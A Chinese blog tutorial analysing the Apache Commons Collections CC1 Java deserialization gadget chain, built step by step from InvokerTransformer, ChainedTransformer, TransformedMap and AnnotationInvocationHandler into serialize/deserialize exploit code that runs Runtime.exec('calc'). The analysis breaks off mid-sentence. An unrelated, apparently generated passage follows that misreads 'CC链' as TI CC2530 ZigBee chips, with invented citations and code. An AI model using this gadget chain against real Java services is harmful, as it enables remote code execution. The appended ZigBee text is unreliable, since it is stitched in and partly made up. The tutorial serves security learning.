Java安全-CC链全分析

前置知识

Java访问权限概述

对于一个类,其成员(包括成员变量和成员方法)能否被其他类所访问,取决于该成员的修饰词。在Java中,类成员的访问权限修饰词有四个:private,无(包访问权限),protected 和 public,其权限控制如下表所示:

同一个类中 同一个包中 不同包的子类 不同包的无关类
public
protected
无(空着不写)
private

不同包中子类: 不同包通过继承获得关系
不同包中的无关类: 不同包通过直接创建对象来获得关系

反射

Java反射操作的是java.lang.Class对象,所以我们需要要先获取到Class对象。

获取Class对象的方式:

1. Class.forName("全类名"):将字节码文件加载进内存,返回Class对象
         多用于配置文件,将类名定义在配置文件中。读取文件,加载类
2. 类名.class:通过类名的属性class获取
         多用于参数的传递
3. 对象.getClass():getClass()方法在Object类中定义着。
         多用于对象的获取字节码的方式

代码实例:

方式一:
        Class cls1 = Class.forName("Domain.Person");
        System.out.println(cls1);
方式二:
        Class cls2 = Person.class;
        System.out.println(cls2);
        
方式三:

        Person p = new Person();
        Class cls3 = p.getClass();
        System.out.println(cls3);

环境部署

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>cc分析</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>
</project>

CC1

流程分析

入口:org.apache.commons.collections.Transformer
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

入口类:org.apache.commons.collections.functors.InvokerTransformer,它的transform方法使用了反射来调用input的方法,InvokerTransformer相当于帮我们实现了一个反射调用,并且input,iMethodName,iParamTypes,iArgs都是可控的
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

因此我们可以通过InvokerTransformer类的transform方法来invoke Runtime类getRuntime对象的exec来实现rce

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1 {
   
   
    public static void main(String[] args) {
   
   
        new InvokerTransformer("exec", new Class[]{
   
   String.class}, new Object[]{
   
   "calc"}).transform(Runtime.getRuntime());
    }
}

成功执行命令
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在的重点就是去找一个其它的类有transform方法,并且传入的Object是可控的,然后我们只要把这个Object设为InvokeTransformer即可,我们全局搜索transform方法,能够发现很多类都是有transform方法的,我们这里先研究的是CC1,所以我们直接看TransformerMap类
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在TransformedMap中的checkSetValue方法中调用了transform,valueTransformer是构造的时候赋的值,再看构造函数
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

构造函数是一个protected,所以不能让我们直接实例赋值,只能是类内部构造赋值,找哪里调用了构造函数
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一个静态方法,这里我们就能控制参数了
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
如果我们可以调用 TransformedMap 的 checkSetValue方法,那我们给 valueTransformer 实例就可以通过valueTransformer.transform(value) 实现 InvokerTransformer.transform(value) 从而 rce

现在调用transform方法的问题解决了,返回去看checkSetValue,可以看到value我们暂时不能控制,全局搜索checkSetValue,看谁调用了它,并且value值可受控制,在AbstractInputCheckedMapDecorator类中发现,凑巧的是,它刚好是TransformedMap的父类
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在这里假如对Java集合熟悉一点的人看到了setValue字样就应该想起来,我们在遍历集合的时候就用过setValue和getValue,所以我们只要对decorate这个map进行遍历setValue,由于TransformedMap继承了AbstractInputCheckedMapDecorator类,因此当调用setValue时会去父类寻找,写一个demo来测试一下:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class cc1 {
   
   
    public static void main(String[] args) {
   
   
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{
   
   String.class}, new Object[]{
   
   "calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
        for(Map.Entry entry:decorate.entrySet()){
   
   
            entry.setValue(r);
        }
    }
}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们追踪一下setValue看是在哪调用的,在AnnotationInvocationHandler中找到,而且还是在重写的readObject中调用的setValue,这还省去了再去找readObject

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
   
   
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
   
   
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
   
   
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
   
   
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {
   
     // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
   
   
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

我们分析下AnnotationInvocationHandler这个类,未用public声明,说明只能通过反射调用
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

查看一下构造方法,传入一个Class和Map,其中Class继承了Annotation,也就是需要传入一个注解类进去,这里我们选择Target,之后说为什么
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

构造exp:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
   
   
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
   
   
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{
   
   String.class}, new Object[]{
   
   "calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
//        for(Map.Entry entry:decorate.entrySet()){
   
   
//            entry.setValue(r);
//        }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);
    }
}

现在有个难题是Runtime类是不能被序列化的,但是反射来的类是可以被序列化的,还好InvokeTransformer有一个绝佳的反射机制,构造一下:

Method RuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{
   
   String.class,Class[].class},new Object[]{
   
   "getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{
   
   Object.class, Object[].class}, new Object[]{
   
   null, null}).transform(RuntimeMethod);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{
   
   String.class}, new Object[]{
   
   "calc"});

现在还有个小问题,其中我们的transformedmap是传入了一个invokertransformer,但是现在这个对象没有了,被拆成了多个,就是上述三段代码,得想个办法统合起来,这里就回到最初的Transformer接口里去寻找,找到ChainedTransformer,刚好这个方法是递归调用数组里的transform方法
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们就可以这样构造:

Transformer[] transformers = new Transformer[]{
   
   
    new InvokerTransformer("getMethod",new Class[]{
   
   String.class,Class[].class},new Object[]{
   
   "getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{
   
   Object.class, Object[].class}, new Object[]{
   
   null, null}),
    new InvokerTransformer("exec", new Class[]{
   
   String.class}, new Object[]{
   
   "calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);

到这一步雏形以及可以构造出来了

package org.example;

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
   
   
    public static void serialize(Object obj) throws IOException {
   
   
        FileOutputStream fos = new FileOutputStream("cc1.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
   
   
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
   
   
        Transformer[] transformers = new Transformer[]{
   
   
                new InvokerTransformer("getMethod",new Class[]{
   
   String.class,Class[].class},new Object[]{
   
   "getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{
   
   Object.class, Object[].class}, new Object[]{
   
   null, null}),
                new InvokerTransformer("exec", new Class[]{
   
   String.class}, new Object[]{
   
   "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);
        serialize(o);
        deserialize("cc1.bin");
    }
}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

但是这里反序列化并不能执行命令,why?原因在于AnnotationInvocationHandler里触发setValue是有条件的,我们调试追踪进去看看:
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

要想触发setValue得先过两个if判断,先看第一个if判断,memberType不能为null,memberType其实就是我们之前传入的注解类Target的一个属性,这个属性哪里来的?就是我们最先传入的map map.put(“1”,“2”)
获取这个name:1,获取1这个属性,很明显我们的Target注解类是没有1这个属性的,我们看一下Target类
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Target是有value这个属性的,所以我们改一下map,map.put(“value”, 1),这样就过了第

04-28
### 关于CC的技术实现与使用教程 #### CC简介 CC通常指的是基于ZigBee协议栈中的芯片(如TI公司的CC系列芯片,例如CC2530、CC26xx等)所构建的通信网络。这些芯片广泛应用于物联网(IoT)领域,尤其是在低功耗无线传感网中。以下是关于CC的一些关键技术实现和使用方法。 --- #### 技术实现细节 1. **硬件架构** - CC的核心组件通常是TI公司推出的CC系列SoC(System on Chip)。这类芯片集成了射频收发器、微控制器以及多种外设接口[^2]。 -CC2530为例,其内部结构包括8051 MCU核心、ADC/DAC模块、定时器/计数器单元以及其他外围电路。这种设计使得开发者能够在单片机基础上快速搭建完整的嵌入式系统。 2. **软件框架** - 软件部分主要依赖于厂商提供的SDK(Software Development Kit),比如用于ZigBee开发的Z-Stack协议栈或者SimpleLink SDK对于BLE/Zigbee双模产品而言更为适用[^4]。 - Z-Stack提供了从物理层到应用层的一整套解决方案,允许用户专注于特定应用场景下的逻辑编程而无需关心底层复杂机制。 3. **通信协议** - ZigBee遵循IEEE 802.15.4标准定义的数据包格式进行数据传输,在此基础上扩展出了更高层次的功能特性——Mesh组网能力就是其中之一[^2]。 ```c // 示例:发送简单消息至指定节点ID uint8_t payload[] = { 'H', 'e', 'l', 'l', 'o' }; zstack_sendData(DEST_ADDR, payload, sizeof(payload)); ``` 4. **节能策略** - 利用深度睡眠模式配合外部事件触发唤醒机制来降低整体能耗水平是非常重要的设计理念之一[^2]。当没有活跃的任务处理时,MCU会进入省电状态直到下一个预定时间点到来或者是接收到某些特殊信号为止。 --- #### 使用教程概览 为了帮助初学者更好地理解和掌握CC的实际操作流程,下面给出了一般性的指导步骤: 1. **环境搭建** - 下载安装官方推荐版本的IAR Embedded Workbench IDE或者其他兼容工具- 获取最新版对应目标平台的固件库文档资料; 2. **项目创建** - 新建工程文件夹并将初始模板导入其中; - 设置交叉编译参数确保最终产出物适配选定型号处理器架构特点; 3. **功能验证** - 测试基本IO口读写动作确认硬件连接无误之后再逐步增加其他高级特性的实验环节; ```python import serial ser = serial.Serial('COMX', baudrate=9600, timeout=1) while True: data = ser.readline().decode('utf-8').strip() if data != "": print(f"Received: {data}") ``` 4. **深入探索** - 学习更多有关安全加密算法集成方面的知识以便提升整个系统的鲁棒性和抗干扰性能; ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sagice

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值